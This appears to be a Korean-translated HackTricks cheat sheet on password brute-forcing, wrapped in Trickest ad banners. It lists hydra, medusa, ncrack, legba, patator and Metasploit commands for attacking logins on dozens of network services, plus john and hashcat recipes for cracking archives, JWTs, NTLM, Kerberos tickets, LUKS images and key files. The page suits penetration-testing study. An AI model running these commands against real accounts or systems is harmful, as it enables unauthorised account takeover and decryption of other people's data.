# Brute Force - CheatSheet
\ [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=brute-force)를 사용하여 세계에서 **가장 진보된** 커뮤니티 도구로 구동되는 **워크플로우**를 쉽게 구축하고 **자동화**하세요.\ 오늘 바로 접근하세요: {% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=brute-force" %} {% hint style="success" %} AWS 해킹 배우기 및 연습하기:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ GCP 해킹 배우기 및 연습하기: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
HackTricks 지원하기 * [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기! * **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.** * **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.**
{% endhint %} ## 기본 자격 증명 사용 중인 기술의 기본 자격 증명을 **구글에서 검색**하거나 **다음 링크를 시도**하세요: * [**https://github.com/ihebski/DefaultCreds-cheat-sheet**](https://github.com/ihebski/DefaultCreds-cheat-sheet) * [**http://www.phenoelit.org/dpl/dpl.html**](http://www.phenoelit.org/dpl/dpl.html) * [**http://www.vulnerabilityassessment.co.uk/passwordsC.htm**](http://www.vulnerabilityassessment.co.uk/passwordsC.htm) * [**https://192-168-1-1ip.mobi/default-router-passwords-list/**](https://192-168-1-1ip.mobi/default-router-passwords-list/) * [**https://datarecovery.com/rd/default-passwords/**](https://datarecovery.com/rd/default-passwords/) * [**https://bizuns.com/default-passwords-list**](https://bizuns.com/default-passwords-list) * [**https://github.com/danielmiessler/SecLists/blob/master/Passwords/Default-Credentials/default-passwords.csv**](https://github.com/danielmiessler/SecLists/blob/master/Passwords/Default-Credentials/default-passwords.csv) * [**https://github.com/Dormidera/WordList-Compendium**](https://github.com/Dormidera/WordList-Compendium) * [**https://www.cirt.net/passwords**](https://www.cirt.net/passwords) * [**http://www.passwordsdatabase.com/**](http://www.passwordsdatabase.com) * [**https://many-passwords.github.io/**](https://many-passwords.github.io) * [**https://theinfocentric.com/**](https://theinfocentric.com/) ## **자신만의 사전 만들기** 대상에 대한 정보를 최대한 많이 찾아서 사용자 정의 사전을 생성하세요. 도움이 될 수 있는 도구: ### Crunch ```bash crunch 4 6 0123456789ABCDEF -o crunch1.txt #From length 4 to 6 using that alphabet crunch 4 4 -f /usr/share/crunch/charset.lst mixalpha # Only length 4 using charset mixalpha (inside file charset.lst) @ Lower case alpha characters , Upper case alpha characters % Numeric characters ^ Special characters including spac crunch 6 8 -t ,@@^^%% ``` ### Cewl ```bash cewl example.com -m 5 -w words.txt ``` ### [CUPP](https://github.com/Mebus/cupp) 피해자에 대한 지식(이름, 날짜 등)을 바탕으로 비밀번호를 생성합니다. ``` python3 cupp.py -h ``` ### [Wister](https://github.com/cycurity/wister) 단어 목록 생성기 도구로, 단어 집합을 제공할 수 있으며, 주어진 단어로부터 여러 변형을 만들 수 있는 가능성을 제공합니다. 특정 대상을 위해 사용할 수 있는 독특하고 이상적인 단어 목록을 생성합니다. ```bash python3 wister.py -w jane doe 2022 summer madrid 1998 -c 1 2 3 4 5 -o wordlist.lst __ _______ _____ _______ ______ _____ \ \ / /_ _|/ ____|__ __| ____| __ \ \ \ /\ / / | | | (___ | | | |__ | |__) | \ \/ \/ / | | \___ \ | | | __| | _ / \ /\ / _| |_ ____) | | | | |____| | \ \ \/ \/ |_____|_____/ |_| |______|_| \_\ Version 1.0.3 Cycurity Generating wordlist... [########################################] 100% Generated 67885 lines. Finished in 0.920s. ``` ### [pydictor](https://github.com/LandGrey/pydictor) ### Wordlists * [**https://github.com/danielmiessler/SecLists**](https://github.com/danielmiessler/SecLists) * [**https://github.com/Dormidera/WordList-Compendium**](https://github.com/Dormidera/WordList-Compendium) * [**https://github.com/kaonashi-passwords/Kaonashi**](https://github.com/kaonashi-passwords/Kaonashi) * [**https://github.com/google/fuzzing/tree/master/dictionaries**](https://github.com/google/fuzzing/tree/master/dictionaries) * [**https://crackstation.net/crackstation-wordlist-password-cracking-dictionary.htm**](https://crackstation.net/crackstation-wordlist-password-cracking-dictionary.htm) * [**https://weakpass.com/wordlist/**](https://weakpass.com/wordlist/) * [**https://wordlists.assetnote.io/**](https://wordlists.assetnote.io/) * [**https://github.com/fssecur3/fuzzlists**](https://github.com/fssecur3/fuzzlists) * [**https://hashkiller.io/listmanager**](https://hashkiller.io/listmanager) * [**https://github.com/Karanxa/Bug-Bounty-Wordlists**](https://github.com/Karanxa/Bug-Bounty-Wordlists)
\ [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=brute-force)를 사용하여 세계에서 **가장 진보된** 커뮤니티 도구로 구동되는 **워크플로우**를 쉽게 구축하고 **자동화**하세요.\ 오늘 바로 접근하세요: {% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=brute-force" %} ## Services 서비스 이름순으로 알파벳 정렬됨. ### AFP ```bash nmap -p 548 --script afp-brute msf> use auxiliary/scanner/afp/afp_login msf> set BLANK_PASSWORDS true msf> set USER_AS_PASS true msf> set PASS_FILE msf> set USER_FILE msf> run ``` ### AJP ```bash nmap --script ajp-brute -p 8009 ``` ## AMQP (ActiveMQ, RabbitMQ, Qpid, JORAM 및 Solace) ```bash legba amqp --target localhost:5672 --username admin --password data/passwords.txt [--amql-ssl] ``` ### 카산드라 ```bash nmap --script cassandra-brute -p 9160 # legba ScyllaDB / Apache Casandra legba scylla --username cassandra --password wordlists/passwords.txt --target localhost:9042 ``` ### CouchDB ```bash msf> use auxiliary/scanner/couchdb/couchdb_login hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst localhost -s 5984 http-get / ``` ### 도커 레지스트리 ``` hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst 10.10.10.10 -s 5000 https-get /v2/ ``` ### Elasticsearch ``` hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst localhost -s 9200 http-get / ``` ### FTP ```bash hydra -l root -P passwords.txt [-t 32] ftp ncrack -p 21 --user root -P passwords.txt [-T 5] medusa -u root -P 500-worst-passwords.txt -h -M ftp legba ftp --username admin --password wordlists/passwords.txt --target localhost:21 ``` ### HTTP 일반 브루트 #### [**WFuzz**](../pentesting-web/web-tool-wfuzz.md) ### HTTP 기본 인증 ```bash hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst sizzle.htb.local http-get /certsrv/ # Use https-get mode for https medusa -h -u -P -M http -m DIR:/path/to/auth -T 10 legba http.basic --username admin --password wordlists/passwords.txt --target http://localhost:8888/ ``` ### HTTP - NTLM ```bash legba http.ntlm1 --domain example.org --workstation client --username admin --password wordlists/passwords.txt --target https://localhost:8888/ legba http.ntlm2 --domain example.org --workstation client --username admin --password wordlists/passwords.txt --target https://localhost:8888/ ``` ### HTTP - Post Form ```bash hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst domain.htb http-post-form "/path/index.php:name=^USER^&password=^PASS^&enter=Sign+in:Login name or password is incorrect" -V # Use https-post-form mode for https ``` For http**s** you have to change from "http-post-form" to "**https-post-form"** ### **HTTP - CMS --** (W)ordpress, (J)oomla 또는 (D)rupal 또는 (M)oodle ```bash cmsmap -f W/J/D/M -u a -p a https://wordpress.com # Check also https://github.com/evilsocket/legba/wiki/HTTP ``` ### IMAP ```bash hydra -l USERNAME -P /path/to/passwords.txt -f imap -V hydra -S -v -l USERNAME -P /path/to/passwords.txt -s 993 -f imap -V nmap -sV --script imap-brute -p legba imap --username user --password data/passwords.txt --target localhost:993 ``` ### IRC ```bash nmap -sV --script irc-brute,irc-sasl-brute --script-args userdb=/path/users.txt,passdb=/path/pass.txt -p ``` ### ISCSI ```bash nmap -sV --script iscsi-brute --script-args userdb=/var/usernames.txt,passdb=/var/passwords.txt -p 3260 ``` ### JWT ```bash #hashcat hashcat -m 16500 -a 0 jwt.txt .\wordlists\rockyou.txt #https://github.com/Sjord/jwtcrack python crackjwt.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1widXNlcm5hbWVcIjpcImFkbWluXCIsXCJyb2xlXCI6XCJhZG1pblwifSJ9.8R-KVuXe66y_DXVOVgrEqZEoadjBnpZMNbLGhM8YdAc /usr/share/wordlists/rockyou.txt #John john jwt.txt --wordlist=wordlists.txt --format=HMAC-SHA256 #https://github.com/ticarpi/jwt_tool python3 jwt_tool.py -d wordlists.txt #https://github.com/brendan-rius/c-jwt-cracker ./jwtcrack eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1widXNlcm5hbWVcIjpcImFkbWluXCIsXCJyb2xlXCI6XCJhZG1pblwifSJ9.8R-KVuXe66y_DXVOVgrEqZEoadjBnpZMNbLGhM8YdAc 1234567890 8 #https://github.com/mazen160/jwt-pwn python3 jwt-cracker.py -jwt eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1widXNlcm5hbWVcIjpcImFkbWluXCIsXCJyb2xlXCI6XCJhZG1pblwifSJ9.8R-KVuXe66y_DXVOVgrEqZEoadjBnpZMNbLGhM8YdAc -w wordlist.txt #https://github.com/lmammino/jwt-cracker jwt-cracker "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWV9.TJVA95OrM7E2cBab30RMHrHDcEfxjoYZgeFONFh7HgQ" "abcdefghijklmnopqrstuwxyz" 6 ``` ### LDAP ```bash nmap --script ldap-brute -p 389 legba ldap --target 127.0.0.1:389 --username admin --password @wordlists/passwords.txt --ldap-domain example.org --single-match ``` ### MQTT ``` ncrack mqtt://127.0.0.1 --user test –P /root/Desktop/pass.txt -v legba mqtt --target 127.0.0.1:1883 --username admin --password wordlists/passwords.txt ``` ### 몽고 ```bash nmap -sV --script mongodb-brute -n -p 27017 use auxiliary/scanner/mongodb/mongodb_login legba mongodb --target localhost:27017 --username root --password data/passwords.txt ``` ### MSSQL [MSSQLPwner](https://github.com/ScorpionesLabs/MSSqlPwner) ```shell # Bruteforce using tickets, hashes, and passwords against the hosts listed on the hosts.txt mssqlpwner hosts.txt brute -tl tickets.txt -ul users.txt -hl hashes.txt -pl passwords.txt # Bruteforce using hashes, and passwords against the hosts listed on the hosts.txt mssqlpwner hosts.txt brute -ul users.txt -hl hashes.txt -pl passwords.txt # Bruteforce using tickets against the hosts listed on the hosts.txt mssqlpwner hosts.txt brute -tl tickets.txt -ul users.txt # Bruteforce using passwords against the hosts listed on the hosts.txt mssqlpwner hosts.txt brute -ul users.txt -pl passwords.txt # Bruteforce using hashes against the hosts listed on the hosts.txt mssqlpwner hosts.txt brute -ul users.txt -hl hashes.txt ``` ```bash legba mssql --username SA --password wordlists/passwords.txt --target localhost:1433 ``` ### MySQL ```bash # hydra hydra -L usernames.txt -P pass.txt mysql # msfconsole msf> use auxiliary/scanner/mysql/mysql_login; set VERBOSE false # medusa medusa -h -u -P <-f | to stop medusa on first success attempt> -t -M mysql #Legba legba mysql --username root --password wordlists/passwords.txt --target localhost:3306 ``` ### 오라클SQL ```bash patator oracle_login sid= host= user=FILE0 password=FILE1 0=users-oracle.txt 1=pass-oracle.txt -x ignore:code=ORA-01017 ./odat.py passwordguesser -s $SERVER -d $SID ./odat.py passwordguesser -s $MYSERVER -p $PORT --accounts-file accounts_multiple.txt #msf1 msf> use admin/oracle/oracle_login msf> set RHOSTS msf> set RPORT 1521 msf> set SID #msf2, this option uses nmap and it fails sometimes for some reason msf> use scanner/oracle/oracle_login msf> set RHOSTS msf> set RPORTS 1521 msf> set SID #for some reason nmap fails sometimes when executing this script nmap --script oracle-brute -p 1521 --script-args oracle-brute.sid= legba oracle --target localhost:1521 --oracle-database SYSTEM --username admin --password data/passwords.txt ``` **oracle\_login**을 **patator**와 함께 사용하려면 **설치**해야 합니다: ```bash pip3 install cx_Oracle --upgrade ``` [오프라인 OracleSQL 해시 브루트포스](https://github.com/carlospolop/hacktricks/blob/master/network-services-pentesting/1521-1522-1529-pentesting-oracle-listener/remote-stealth-pass-brute-force.md#outer-perimeter-remote-stealth-pass-brute-force) (**버전 11.1.0.6, 11.1.0.7, 11.2.0.1, 11.2.0.2,** 및 **11.2.0.3**): ```bash nmap -p1521 --script oracle-brute-stealth --script-args oracle-brute-stealth.sid=DB11g -n 10.11.21.30 ``` ### POP ```bash hydra -l USERNAME -P /path/to/passwords.txt -f pop3 -V hydra -S -v -l USERNAME -P /path/to/passwords.txt -s 995 -f pop3 -V # Insecure legba pop3 --username admin@example.com --password wordlists/passwords.txt --target localhost:110 # SSL legba pop3 --username admin@example.com --password wordlists/passwords.txt --target localhost:995 --pop3-ssl ``` ### PostgreSQL ```bash hydra -L /root/Desktop/user.txt –P /root/Desktop/pass.txt postgres medusa -h –U /root/Desktop/user.txt –P /root/Desktop/pass.txt –M postgres ncrack –v –U /root/Desktop/user.txt –P /root/Desktop/pass.txt :5432 patator pgsql_login host= user=FILE0 0=/root/Desktop/user.txt password=FILE1 1=/root/Desktop/pass.txt use auxiliary/scanner/postgres/postgres_login nmap -sV --script pgsql-brute --script-args userdb=/var/usernames.txt,passdb=/var/passwords.txt -p 5432 legba pgsql --username admin --password wordlists/passwords.txt --target localhost:5432 ``` ### PPTP `.deb` 패키지를 설치하려면 [https://http.kali.org/pool/main/t/thc-pptp-bruter/](https://http.kali.org/pool/main/t/thc-pptp-bruter/)에서 다운로드할 수 있습니다. ```bash sudo dpkg -i thc-pptp-bruter*.deb #Install the package cat rockyou.txt | thc-pptp-bruter –u ``` ### RDP ```bash ncrack -vv --user -P pwds.txt rdp:// hydra -V -f -L -P rdp:// legba rdp --target localhost:3389 --username admin --password data/passwords.txt [--rdp-domain ] [--rdp-ntlm] [--rdp-admin-mode] [--rdp-auto-logon] ``` ### 레디스 ```bash msf> use auxiliary/scanner/redis/redis_login nmap --script redis-brute -p 6379 hydra –P /path/pass.txt redis://: # 6379 is the default legba redis --target localhost:6379 --username admin --password data/passwords.txt [--redis-ssl] ``` ### Rexec ```bash hydra -l -P rexec:// -v -V ``` ### Rlogin ```bash hydra -l -P rlogin:// -v -V ``` ### Rsh ```bash hydra -L rsh:// -v -V ``` [http://pentestmonkey.net/tools/misc/rsh-grind](http://pentestmonkey.net/tools/misc/rsh-grind) ### Rsync ```bash nmap -sV --script rsync-brute --script-args userdb=/var/usernames.txt,passdb=/var/passwords.txt -p 873 ``` ### RTSP ```bash hydra -l root -P passwords.txt rtsp ``` ### SFTP ```bash legba sftp --username admin --password wordlists/passwords.txt --target localhost:22 # Try keys from a folder legba sftp --username admin --password '@/some/path/*' --ssh-auth-mode key --target localhost:22 ``` ### SNMP ```bash msf> use auxiliary/scanner/snmp/snmp_login nmap -sU --script snmp-brute [--script-args snmp-brute.communitiesdb= ] onesixtyone -c /usr/share/metasploit-framework/data/wordlists/snmp_default_pass.txt hydra -P /usr/share/seclists/Discovery/SNMP/common-snmp-community-strings.txt target.com snmp ``` ### SMB ```bash nmap --script smb-brute -p 445 hydra -l Administrator -P words.txt 192.168.1.12 smb -t 1 legba smb --target share.company.com --username admin --password data/passwords.txt [--smb-workgroup ] [--smb-share ] ``` ### SMTP ```bash hydra -l -P /path/to/passwords.txt smtp -V hydra -l -P /path/to/passwords.txt -s 587 -S -v -V #Port 587 for SMTP with SSL legba smtp --username admin@example.com --password wordlists/passwords.txt --target localhost:25 [--smtp-mechanism ] ``` ### SOCKS ```bash nmap -vvv -sCV --script socks-brute --script-args userdb=users.txt,passdb=/usr/share/seclists/Passwords/xato-net-10-million-passwords-1000000.txt,unpwndb.timelimit=30m -p 1080 legba socks5 --target localhost:1080 --username admin --password data/passwords.txt # With alternative address legba socks5 --target localhost:1080 --username admin --password data/passwords.txt --socks5-address 'internal.company.com' --socks5-port 8080 ``` ### SQL Server ```bash #Use the NetBIOS name of the machine as domain crackmapexec mssql -d -u usernames.txt -p passwords.txt hydra -L /root/Desktop/user.txt –P /root/Desktop/pass.txt mssql medusa -h –U /root/Desktop/user.txt –P /root/Desktop/pass.txt –M mssql nmap -p 1433 --script ms-sql-brute --script-args mssql.domain=DOMAIN,userdb=customuser.txt,passdb=custompass.txt,ms-sql-brute.brute-windows-accounts #Use domain if needed. Be careful with the number of passwords in the list, this could block accounts msf> use auxiliary/scanner/mssql/mssql_login #Be careful, you can block accounts. If you have a domain set it and use USE_WINDOWS_ATHENT ``` ### SSH ```bash hydra -l root -P passwords.txt [-t 32] ssh ncrack -p 22 --user root -P passwords.txt [-T 5] medusa -u root -P 500-worst-passwords.txt -h -M ssh patator ssh_login host= port=22 user=root 0=/path/passwords.txt password=FILE0 -x ignore:mesg='Authentication failed' legba ssh --username admin --password wordlists/passwords.txt --target localhost:22 # Try keys from a folder legba ssh --username admin --password '@/some/path/*' --ssh-auth-mode key --target localhost:22 ``` #### 약한 SSH 키 / Debian 예측 가능한 PRNG 일부 시스템은 암호화 자료를 생성하는 데 사용되는 랜덤 시드에 알려진 결함이 있습니다. 이로 인해 키 공간이 극적으로 줄어들 수 있으며, [snowdroppe/ssh-keybrute](https://github.com/snowdroppe/ssh-keybrute)와 같은 도구로 브루트포스 공격이 가능합니다. [g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh)와 같은 약한 키의 미리 생성된 세트도 사용할 수 있습니다. ### STOMP (ActiveMQ, RabbitMQ, HornetQ 및 OpenMQ) STOMP 텍스트 프로토콜은 **RabbitMQ, ActiveMQ, HornetQ 및 OpenMQ와 같은 인기 있는 메시지 큐 서비스와 원활한 통신 및 상호작용을 허용하는** 널리 사용되는 메시징 프로토콜입니다. 메시지를 교환하고 다양한 메시징 작업을 수행하는 표준화되고 효율적인 접근 방식을 제공합니다. ```bash legba stomp --target localhost:61613 --username admin --password data/passwords.txt ``` ### 텔넷 ```bash hydra -l root -P passwords.txt [-t 32] telnet ncrack -p 23 --user root -P passwords.txt [-T 5] medusa -u root -P 500-worst-passwords.txt -h -M telnet legba telnet \ --username admin \ --password wordlists/passwords.txt \ --target localhost:23 \ --telnet-user-prompt "login: " \ --telnet-pass-prompt "Password: " \ --telnet-prompt ":~$ " \ --single-match # this option will stop the program when the first valid pair of credentials will be found, can be used with any plugin ``` ### VNC ```bash hydra -L /root/Desktop/user.txt –P /root/Desktop/pass.txt -s vnc medusa -h –u root -P /root/Desktop/pass.txt –M vnc ncrack -V --user root -P /root/Desktop/pass.txt :>POR>T patator vnc_login host= password=FILE0 0=/root/Desktop/pass.txt –t 1 –x retry:fgep!='Authentication failure' --max-retries 0 –x quit:code=0 use auxiliary/scanner/vnc/vnc_login nmap -p 5900,5901 --script vnc-brute --script-args brute.credfile=wordlist.txt legba vnc --target localhost:5901 --password data/passwords.txt #Metasploit use auxiliary/scanner/vnc/vnc_login set RHOSTS set PASS_FILE /usr/share/metasploit-framework/data/wordlists/passwords.lst ``` ### Winrm ```bash crackmapexec winrm -d -u usernames.txt -p passwords.txt ```
\ [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=brute-force)를 사용하여 세계에서 **가장 진보된** 커뮤니티 도구로 구동되는 **워크플로우**를 쉽게 구축하고 **자동화**하세요.\ 오늘 바로 접근하세요: {% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=brute-force" %} ## 로컬 ### 온라인 크래킹 데이터베이스 * [~~http://hashtoolkit.com/reverse-hash?~~](http://hashtoolkit.com/reverse-hash?) (MD5 & SHA1) * [https://shuck.sh/get-shucking.php](https://shuck.sh/get-shucking.php) (MSCHAPv2/PPTP-VPN/NetNTLMv1 ESS/SSP 유무 및 모든 챌린지 값 포함) * [https://www.onlinehashcrack.com/](https://www.onlinehashcrack.com) (해시, WPA2 캡처 및 MSOffice, ZIP, PDF 아카이브...) * [https://crackstation.net/](https://crackstation.net) (해시) * [https://md5decrypt.net/](https://md5decrypt.net) (MD5) * [https://gpuhash.me/](https://gpuhash.me) (해시 및 파일 해시) * [https://hashes.org/search.php](https://hashes.org/search.php) (해시) * [https://www.cmd5.org/](https://www.cmd5.org) (해시) * [https://hashkiller.co.uk/Cracker](https://hashkiller.co.uk/Cracker) (MD5, NTLM, SHA1, MySQL5, SHA256, SHA512) * [https://www.md5online.org/md5-decrypt.html](https://www.md5online.org/md5-decrypt.html) (MD5) * [http://reverse-hash-lookup.online-domain-tools.com/](http://reverse-hash-lookup.online-domain-tools.com) 해시를 브루트 포스하기 전에 이 내용을 확인하세요. ### ZIP ```bash #sudo apt-get install fcrackzip fcrackzip -u -D -p '/usr/share/wordlists/rockyou.txt' chall.zip ``` ```bash zip2john file.zip > zip.john john zip.john ``` ```bash #$zip2$*0*3*0*a56cb83812be3981ce2a83c581e4bc4f*4d7b*24*9af41ff662c29dfff13229eefad9a9043df07f2550b9ad7dfc7601f1a9e789b5ca402468*694b6ebb6067308bedcd*$/zip2$ hashcat.exe -m 13600 -a 0 .\hashzip.txt .\wordlists\rockyou.txt .\hashcat.exe -m 13600 -i -a 0 .\hashzip.txt #Incremental attack ``` #### Known plaintext zip attack 암호화된 zip 파일 안에 포함된 **파일의 **평문** (또는 평문의 일부)**을 알아야 합니다. 암호화된 zip 안에 포함된 **파일의 이름과 크기**를 확인하려면 다음을 실행하세요: **`7z l encrypted.zip`**\ [**bkcrack** ](https://github.com/kimci86/bkcrack/releases/tag/v1.4.0)를 릴리스 페이지에서 다운로드하세요. ```bash # You need to create a zip file containing only the file that is inside the encrypted zip zip plaintext.zip plaintext.file ./bkcrack -C -c -P -p # Now wait, this should print a key such as 7b549874 ebc25ec5 7e465e18 # With that key you can create a new zip file with the content of encrypted.zip # but with a different pass that you set (so you can decrypt it) ./bkcrack -C -k 7b549874 ebc25ec5 7e465e18 -U unlocked.zip new_pwd unzip unlocked.zip #User new_pwd as password ``` ### 7z ```bash cat /usr/share/wordlists/rockyou.txt | 7za t backup.7z ``` ```bash #Download and install requirements for 7z2john wget https://raw.githubusercontent.com/magnumripper/JohnTheRipper/bleeding-jumbo/run/7z2john.pl apt-get install libcompress-raw-lzma-perl ./7z2john.pl file.7z > 7zhash.john ``` ### PDF ```bash apt-get install pdfcrack pdfcrack encrypted.pdf -w /usr/share/wordlists/rockyou.txt #pdf2john didn't work well, john didn't know which hash type was # To permanently decrypt the pdf sudo apt-get install qpdf qpdf --password= --decrypt encrypted.pdf plaintext.pdf ``` ### PDF 소유자 비밀번호 PDF 소유자 비밀번호를 해제하려면 다음을 확인하세요: [https://blog.didierstevens.com/2022/06/27/quickpost-cracking-pdf-owner-passwords/](https://blog.didierstevens.com/2022/06/27/quickpost-cracking-pdf-owner-passwords/) ### JWT ```bash git clone https://github.com/Sjord/jwtcrack.git cd jwtcrack #Bruteforce using crackjwt.py python crackjwt.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1widXNlcm5hbWVcIjpcImFkbWluXCIsXCJyb2xlXCI6XCJhZG1pblwifSJ9.8R-KVuXe66y_DXVOVgrEqZEoadjBnpZMNbLGhM8YdAc /usr/share/wordlists/rockyou.txt #Bruteforce using john python jwt2john.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1widXNlcm5hbWVcIjpcImFkbWluXCIsXCJyb2xlXCI6XCJhZG1pblwifSJ9.8R-KVuXe66y_DXVOVgrEqZEoadjBnpZMNbLGhM8YdAc > jwt.john john jwt.john #It does not work with Kali-John ``` ### NTLM 크래킹 ```bash Format:USUARIO:ID:HASH_LM:HASH_NT::: john --wordlist=/usr/share/wordlists/rockyou.txt --format=NT file_NTLM.hashes hashcat -a 0 -m 1000 --username file_NTLM.hashes /usr/share/wordlists/rockyou.txt --potfile-path salida_NT.pot ``` ### Keepass ```bash sudo apt-get install -y kpcli #Install keepass tools like keepass2john keepass2john file.kdbx > hash #The keepass is only using password keepass2john -k file.kdbx > hash # The keepass is also using a file as a needed credential #The keepass can use a password and/or a file as credentials, if it is using both you need to provide them to keepass2john john --wordlist=/usr/share/wordlists/rockyou.txt hash ``` ### 케베로스팅 ```bash john --format=krb5tgs --wordlist=passwords_kerb.txt hashes.kerberoast hashcat -m 13100 --force -a 0 hashes.kerberoast passwords_kerb.txt ./tgsrepcrack.py wordlist.txt 1-MSSQLSvc~sql01.medin.local~1433-MYDOMAIN.LOCAL.kirbi ``` ### Luks 이미지 #### 방법 1 설치: [https://github.com/glv2/bruteforce-luks](https://github.com/glv2/bruteforce-luks) ```bash bruteforce-luks -f ./list.txt ./backup.img cryptsetup luksOpen backup.img mylucksopen ls /dev/mapper/ #You should find here the image mylucksopen mount /dev/mapper/mylucksopen /mnt ``` #### 방법 2 ```bash cryptsetup luksDump backup.img #Check that the payload offset is set to 4096 dd if=backup.img of=luckshash bs=512 count=4097 #Payload offset +1 hashcat -m 14600 -a 0 luckshash wordlists/rockyou.txt cryptsetup luksOpen backup.img mylucksopen ls /dev/mapper/ #You should find here the image mylucksopen mount /dev/mapper/mylucksopen /mnt ``` 또 다른 Luks BF 튜토리얼: [http://blog.dclabs.com.br/2020/03/bruteforcing-linux-disk-encription-luks.html?m=1](http://blog.dclabs.com.br/2020/03/bruteforcing-linux-disk-encription-luks.html?m=1) ### Mysql ```bash #John hash format :$mysqlna$* dbuser:$mysqlna$112233445566778899aabbccddeeff1122334455*73def07da6fba5dcc1b19c918dbd998e0d1f3f9d ``` ### PGP/GPG 개인 키 ```bash gpg2john private_pgp.key #This will generate the hash and save it in a file john --wordlist=/usr/share/wordlists/rockyou.txt ./hash ``` ### Cisco
### DPAPI 마스터 키 [https://github.com/openwall/john/blob/bleeding-jumbo/run/DPAPImk2john.py](https://github.com/openwall/john/blob/bleeding-jumbo/run/DPAPImk2john.py)를 사용한 다음 john을 실행하세요. ### Open Office 비밀번호 보호 열 비밀번호로 보호된 열이 있는 xlsx 파일이 있는 경우 이를 해제할 수 있습니다: * **구글 드라이브에 업로드**하면 비밀번호가 자동으로 제거됩니다. * **수동으로 제거**하려면: ```bash unzip file.xlsx grep -R "sheetProtection" ./* # Find something like: # Remove that line and rezip the file zip -r file.xls . ``` ### PFX 인증서 ```bash # From https://github.com/Ridter/p12tool ./p12tool crack -c staff.pfx -f /usr/share/wordlists/rockyou.txt # From https://github.com/crackpkcs12/crackpkcs12 crackpkcs12 -d /usr/share/wordlists/rockyou.txt ./cert.pfx ```
\ [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=brute-force)를 사용하여 세계에서 **가장 진보된** 커뮤니티 도구로 구동되는 **워크플로우**를 쉽게 구축하고 **자동화**하세요.\ 오늘 바로 접근하세요: {% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=brute-force" %} ## 도구 **해시 예시:** [https://openwall.info/wiki/john/sample-hashes](https://openwall.info/wiki/john/sample-hashes) ### 해시 식별자 ```bash hash-identifier > ``` ### Wordlists * **Rockyou** * [**Probable-Wordlists**](https://github.com/berzerk0/Probable-Wordlists) * [**Kaonashi**](https://github.com/kaonashi-passwords/Kaonashi/tree/master/wordlists) * [**Seclists - Passwords**](https://github.com/danielmiessler/SecLists/tree/master/Passwords) ### **Wordlist Generation Tools** * [**kwprocessor**](https://github.com/hashcat/kwprocessor)**:** 고급 키보드 워크 생성기로, 구성 가능한 기본 문자, 키맵 및 경로를 지원합니다. ```bash kwp64.exe basechars\custom.base keymaps\uk.keymap routes\2-to-10-max-3-direction-changes.route -o D:\Tools\keywalk.txt ``` ### John mutation _read_ **/etc/john/john.conf** _을 읽고 구성합니다._ ```bash john --wordlist=words.txt --rules --stdout > w_mutated.txt john --wordlist=words.txt --rules=all --stdout > w_mutated.txt #Apply all rules ``` ### Hashcat #### Hashcat 공격 * **단어 목록 공격** (`-a 0`) 규칙과 함께 **Hashcat**은 이미 **규칙이 포함된 폴더**와 함께 제공되지만 [**여기에서 다른 흥미로운 규칙을 찾을 수 있습니다**](https://github.com/kaonashi-passwords/Kaonashi/tree/master/rules). ``` hashcat.exe -a 0 -m 1000 C:\Temp\ntlm.txt .\rockyou.txt -r rules\best64.rule ``` * **Wordlist combinator** 공격 hashcat을 사용하여 **2개의 단어 목록을 1개로 결합**할 수 있습니다.\ 목록 1에 단어 **"hello"**가 포함되어 있고 두 번째 목록에 **"world"**와 **"earth"**라는 단어가 있는 2개의 줄이 포함되어 있다고 가정합니다. `helloworld`와 `helloearth`가 생성됩니다. ```bash # This will combine 2 wordlists hashcat.exe -a 1 -m 1000 C:\Temp\ntlm.txt .\wordlist1.txt .\wordlist2.txt # Same attack as before but adding chars in the newly generated words # In the previous example this will generate: ## hello-world! ## hello-earth! hashcat.exe -a 1 -m 1000 C:\Temp\ntlm.txt .\wordlist1.txt .\wordlist2.txt -j $- -k $! ``` * **마스크 공격** (`-a 3`) ```bash # Mask attack with simple mask hashcat.exe -a 3 -m 1000 C:\Temp\ntlm.txt ?u?l?l?l?l?l?l?l?d hashcat --help #will show the charsets and are as follows 